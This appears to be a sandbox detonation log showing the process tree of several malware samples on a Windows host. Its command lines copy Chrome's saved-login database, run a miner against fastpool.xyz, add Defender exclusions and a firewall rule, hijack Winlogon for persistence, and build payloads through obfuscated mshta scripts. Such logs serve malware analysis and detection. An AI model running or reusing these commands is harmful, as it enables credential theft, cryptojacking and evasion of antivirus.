PID:5304
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue205724605816e79.exe4⤵PID:2044
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue205724605816e79.exeTue205724605816e79.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:1124
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 288 -s 5324⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3524
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20c79bfdadc.exe4⤵PID:1944
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20c79bfdadc.exeTue20c79bfdadc.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3004 -
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20c79bfdadc.exeC:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20c79bfdadc.exe2⤵
- Executes dropped EXE
PID:1420
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4676 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4716
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4920
-
C:\Windows\SysWOW64\colorcpl.exe"C:\Windows\SysWOW64\colorcpl.exe"1⤵PID:5152
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\tmfiNkDqaI7NL6CF_r5RIK1H.exe"2⤵PID:5480
-
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V2⤵PID:11700
-
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"2⤵PID:10328
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6168 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:5100
-
-
C:\Users\Admin\AppData\Roaming\rwjtfiuC:\Users\Admin\AppData\Roaming\rwjtfiu1⤵PID:2188
-
C:\Users\Admin\AppData\Roaming\bjjtfiuC:\Users\Admin\AppData\Roaming\bjjtfiu1⤵PID:2424
-
C:\Users\Admin\AppData\Roaming\bjjtfiuC:\Users\Admin\AppData\Roaming\bjjtfiu2⤵PID:6544
-
-
C:\Users\Admin\AppData\Local\Temp\85CD.exeC:\Users\Admin\AppData\Local\Temp\85CD.exe1⤵PID:6456
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"2⤵PID:7328
-
-
C:\Users\Admin\AppData\Local\Temp\8716.exeC:\Users\Admin\AppData\Local\Temp\8716.exe1⤵PID:6704
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\glwrlnnt\2⤵PID:7840
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\odijdloh.exe" C:\Windows\SysWOW64\glwrlnnt\2⤵PID:8036
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create glwrlnnt binPath= "C:\Windows\SysWOW64\glwrlnnt\odijdloh.exe /d\"C:\Users\Admin\AppData\Local\Temp\8716.exe\"" type= own start= auto DisplayName= "wifi support"2⤵PID:6088
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description glwrlnnt "wifi internet conection"2⤵PID:6772
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start glwrlnnt2⤵PID:7184
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵PID:8020
-
-
C:\Users\Admin\AppData\Local\Temp\A2BD.exeC:\Users\Admin\AppData\Local\Temp\A2BD.exe1⤵PID:2976
-
C:\Users\Admin\AppData\Local\Temp\B04B.exeC:\Users\Admin\AppData\Local\Temp\B04B.exe1⤵PID:2812
-
C:\Users\Admin\AppData\Local\Temp\CC6F.exeC:\Users\Admin\AppData\Local\Temp\CC6F.exe1⤵PID:7456
-
C:\Users\Admin\AppData\Local\Temp\CC6F.exeC:\Users\Admin\AppData\Local\Temp\CC6F.exe2⤵PID:7628
-
-
C:\Users\Admin\AppData\Local\Temp\FE9C.exeC:\Users\Admin\AppData\Local\Temp\FE9C.exe1⤵PID:8084
-
C:\Users\Admin\AppData\Local\Temp\FE9C.exeC:\Users\Admin\AppData\Local\Temp\FE9C.exe2⤵PID:5260
-
-
C:\Users\Admin\AppData\Local\Temp\3AE.exeC:\Users\Admin\AppData\Local\Temp\3AE.exe1⤵PID:8172
-
C:\Users\Admin\AppData\Local\Temp\1449.exeC:\Users\Admin\AppData\Local\Temp\1449.exe1⤵PID:7352
-
C:\Windows\SysWOW64\glwrlnnt\odijdloh.exeC:\Windows\SysWOW64\glwrlnnt\odijdloh.exe /d"C:\Users\Admin\AppData\Local\Temp\8716.exe"1⤵PID:7852
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵PID:8044
-
C:\Windows\SysWOW64\svchost.exesvchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half3⤵PID:6372
-
-
-
C:\Users\Admin\AppData\Local\Temp\527C.exeC:\Users\Admin\AppData\Local\Temp\527C.exe1⤵PID:8008
-
C:\Users\Admin\AppData\Local\Temp\7B23.exeC:\Users\Admin\AppData\Local\Temp\7B23.exe1⤵PID:7764
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com2⤵PID:7600
-
-
C:\Users\Admin\AppData\Local\Temp\D4DD.exeC:\Users\Admin\AppData\Local\Temp\D4DD.exe1⤵PID:5996
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release2⤵PID:6592
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /release3⤵
- Gathers network information
PID:12924
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com2⤵PID:7176
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com3⤵
- Runs ping.exe
PID:12956
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com2⤵PID:9548
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com3⤵
- Runs ping.exe
PID:11448
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com2⤵PID:10060
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com3⤵
- Runs ping.exe
PID:7312
-
-
-
C:\Users\Admin\AppData\Local\Temp\FDE2.exeC:\Users\Admin\AppData\Local\Temp\FDE2.exe1⤵PID:6164
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"2⤵PID:11988
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"3⤵PID:6156
-
-
-
C:\Users\Admin\AppData\Local\chromedrlver.exe"C:\Users\Admin\AppData\Local\chromedrlver.exe"2⤵PID:7420
-
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"3⤵PID:11864
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:8048 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:5100
-
-
C:\Users\Admin\AppData\Local\Temp\236C.exeC:\Users\Admin\AppData\Local\Temp\236C.exe1⤵PID:4936
-
C:\Users\Admin\AppData\Local\Temp\ae691d3d-7018-47e5-906c-066bd837d79a\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\ae691d3d-7018-47e5-906c-066bd837d79a\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\ae691d3d-7018-47e5-906c-066bd837d79a\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run2⤵PID:12036
-
C:\Users\Admin\AppData\Local\Temp\ae691d3d-7018-47e5-906c-066bd837d79a\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\ae691d3d-7018-47e5-906c-066bd837d79a\AdvancedRun.exe" /SpecialRun 4101d8 120363⤵PID:12884
-
-
-
C:\Users\Admin\AppData\Local\Temp\7170f0bb-babe-4e16-aac7-c35262aa3a03\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\7170f0bb-babe-4e16-aac7-c35262aa3a03\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7170f0bb-babe-4e16-aac7-c35262aa3a03\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run2⤵PID:12056
-
C:\Users\Admin\AppData\Local\Temp\7170f0bb-babe-4e16-aac7-c35262aa3a03\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\7170f0bb-babe-4e16-aac7-c35262aa3a03\AdvancedRun.exe" /SpecialRun 4101d8 120563⤵PID:12872
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\236C.exe" -Force2⤵PID:12700
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\236C.exe" -Force2⤵PID:12792
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\236C.exe" -Force2⤵PID:12896
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force2⤵PID:12884
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force2⤵PID:6088
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\236C.exe" -Force2⤵PID:12784
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"2⤵PID:4696
-
C:\Users\Admin\AppData\Local\Temp\911bc168-45fc-4e07-bfb4-1fb305871e91\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\911bc168-45fc-4e07-bfb4-1fb305871e91\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\911bc168-45fc-4e07-bfb4-1fb305871e91\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:9868
-
C:\Users\Admin\AppData\Local\Temp\911bc168-45fc-4e07-bfb4-1fb305871e91\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\911bc168-45fc-4e07-bfb4-1fb305871e91\AdvancedRun.exe" /SpecialRun 4101d8 98684⤵PID:11764
-
-
-
C:\Users\Admin\AppData\Local\Temp\92143949-1f37-4490-b344-089449d20627\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\92143949-1f37-4490-b344-089449d20627\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\92143949-1f37-4490-b344-089449d20627\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:9860
-
C:\Users\Admin\AppData\Local\Temp\92143949-1f37-4490-b344-089449d20627\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\92143949-1f37-4490-b344-089449d20627\AdvancedRun.exe" /SpecialRun 4101d8 98604⤵PID:11732
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:4824
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:7116
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:12528
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵PID:13008
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:5056
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵PID:2240
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"3⤵PID:4768
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"3⤵PID:5228
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:5264
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force2⤵PID:8508
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\236C.exe" -Force2⤵PID:8960
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force2⤵PID:9284
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"2⤵PID:9404
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5896 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:5104
-
-
C:\Users\Admin\AppData\Local\Temp\64AC.exeC:\Users\Admin\AppData\Local\Temp\64AC.exe1⤵PID:8900
-
C:\Users\Admin\AppData\Local\Temp\BBA7.exeC:\Users\Admin\AppData\Local\Temp\BBA7.exe1⤵PID:12696
-
C:\Users\Admin\AppData\Local\Temp\2BB7.exeC:\Users\Admin\AppData\Local\Temp\2BB7.exe1⤵PID:352
-
C:\Users\Admin\AppData\Local\Temp\A676.exeC:\Users\Admin\AppData\Local\Temp\A676.exe1⤵PID:11384
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:12756
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 710CB5FC373C74F04472E9D6EBCE991F C2⤵PID:9784
-
-
C:\Program Files (x86)\Mlpm45r5\mfcud2.exe"C:\Program Files (x86)\Mlpm45r5\mfcud2.exe"1⤵PID:10220
-
C:\Users\Admin\AppData\Local\Temp\CB40.exeC:\Users\Admin\AppData\Local\Temp\CB40.exe1⤵PID:11316
-
C:\Users\Admin\AppData\Local\Temp\CB40.exeC:\Users\Admin\AppData\Local\Temp\CB40.exe2⤵PID:11644
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\e25a5925-b398-4e65-aecf-76f4deabed7c" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:5388
-
-
C:\Users\Admin\AppData\Local\Temp\CB40.exe"C:\Users\Admin\AppData\Local\Temp\CB40.exe" --Admin IsNotAutoStart IsNotTask3⤵PID:9620
-
C:\Users\Admin\AppData\Local\Temp\CB40.exe"C:\Users\Admin\AppData\Local\Temp\CB40.exe" --Admin IsNotAutoStart IsNotTask4⤵PID:7584
-
C:\Users\Admin\AppData\Local\1583d02b-b17f-4e7c-83dc-7b24e7cd4551\build2.exe"C:\Users\Admin\AppData\Local\1583d02b-b17f-4e7c-83dc-7b24e7cd4551\build2.exe"5⤵PID:11672
-
C:\Users\Admin\AppData\Local\1583d02b-b17f-4e7c-83dc-7b24e7cd4551\build2.exe"C:\Users\Admin\AppData\Local\1583d02b-b17f-4e7c-83dc-7b24e7cd4551\build2.exe"6⤵PID:4840
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\1583d02b-b17f-4e7c-83dc-7b24e7cd4551\build2.exe" & del C:\ProgramData\*.dll & exit7⤵PID:11416
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
PID:9312
-
-
-
-
-
-
-
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe1⤵PID:11924
-
C:\Users\Admin\AppData\Local\Temp\13D3.exeC:\Users\Admin\AppData\Local\Temp\13D3.exe1⤵PID:496
-
C:\Users\Admin\AppData\Local\Temp\7E37.exeC:\Users\Admin\AppData\Local\Temp\7E37.exe1⤵PID:11988
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE (CrEATEOBJECT ("WscriPT.ShEll"). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\7E37.exe"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF """" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\7E37.exe"" ) do taskkill /im ""%~nXQ"" -f ", 0,TRUe ))2⤵PID:2744
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\7E37.exe" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "" =="" for %Q iN ("C:\Users\Admin\AppData\Local\Temp\7E37.exe" ) do taskkill /im "%~nXQ" -f3⤵PID:10008
-
C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI74⤵PID:8376
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE (CrEATEOBJECT ("WscriPT.ShEll"). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF ""-pEu3VPItrF6pCIFoPfAdI7 "" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ) do taskkill /im ""%~nXQ"" -f ", 0,TRUe ))5⤵PID:11536
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "-pEu3VPItrF6pCIFoPfAdI7 " =="" for %Q iN ("C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ) do taskkill /im "%~nXQ" -f6⤵PID:12968
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCrIPt:ClosE ( CReatEoBJect ( "wSCRiPt.sHELl"). rUN( "CMd.EXE /q /R Echo | SET /p = ""MZ"" >G52~.M & cOpY /y /B g52~.M + MyDCSYS.aJ2 + SoLi.X + NlEYUAM.J + VrTf6S.Kuq+ JAWQ.UF + 5CkHYa.YmN ..\FJ~iiI.s & DEL /q *& sTart control ..\FJ~iII.s " , 0,tRue ))5⤵PID:12568
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /R Echo | SET /p = "MZ" >G52~.M & cOpY /y /B g52~.M + MyDCSYS.aJ2+SoLi.X + NlEYUAM.J + VrTf6S.Kuq+JAWQ.UF+5CkHYa.YmN ..\FJ~iiI.s &DEL /q *& sTart control ..\FJ~iII.s6⤵PID:9016
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "7⤵PID:4308
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>G52~.M"7⤵PID:11352
-
-
C:\Windows\SysWOW64\control.execontrol ..\FJ~iII.s7⤵PID:4128
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\FJ~iII.s8⤵PID:12876
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\FJ~iII.s9⤵PID:8728
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\FJ~iII.s10⤵PID:2840
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "7E37.exe" -f4⤵
- Kills process with taskkill
PID:5000
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\B601.exeC:\Users\Admin\AppData\Local\Temp\B601.exe1⤵PID:8884
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im B601.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\B601.exe" & del C:\ProgramData\*.dll & exit2⤵PID:11712
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im B601.exe /f3⤵
- Kills process with taskkill
PID:11736
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:10112 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2236
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:10152 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:8448
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6532
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6220